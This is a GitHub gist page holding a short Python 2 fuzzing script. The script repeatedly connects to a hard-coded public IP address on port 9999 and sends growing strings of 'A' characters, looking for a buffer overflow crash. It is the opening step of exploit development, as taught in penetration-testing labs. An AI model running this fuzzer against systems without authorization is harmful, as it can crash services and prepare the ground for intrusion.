Skip to content

Instantly share code, notes, and snippets.

@andripwn
Last active June 28, 2020 14:49
Show Gist options
  • Save andripwn/07625b44c9ac92832b980a9a7d725192 to your computer and use it in GitHub Desktop.
Save andripwn/07625b44c9ac92832b980a9a7d725192 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
#https://github.com/gh0x0st
#gh0x0st@protonmail.com
import sys,socket
address = '107.22.193.119'
port = 9999
buffer = ['\x41']
counter = 1000
while len(buffer)<= 100:
buffer.append('\x41'*counter)
counter=counter+1000
try:
for string in buffer:
print '[+] Sending %s bytes...' % len(string)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((address,port))
s.recv(1024)
s.send(string + '\r\n')
print '[+] Done'
except:
print '[!] Unable to connect to the application. You may have crashed it.'
sys.exit(0)
finally:
s.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment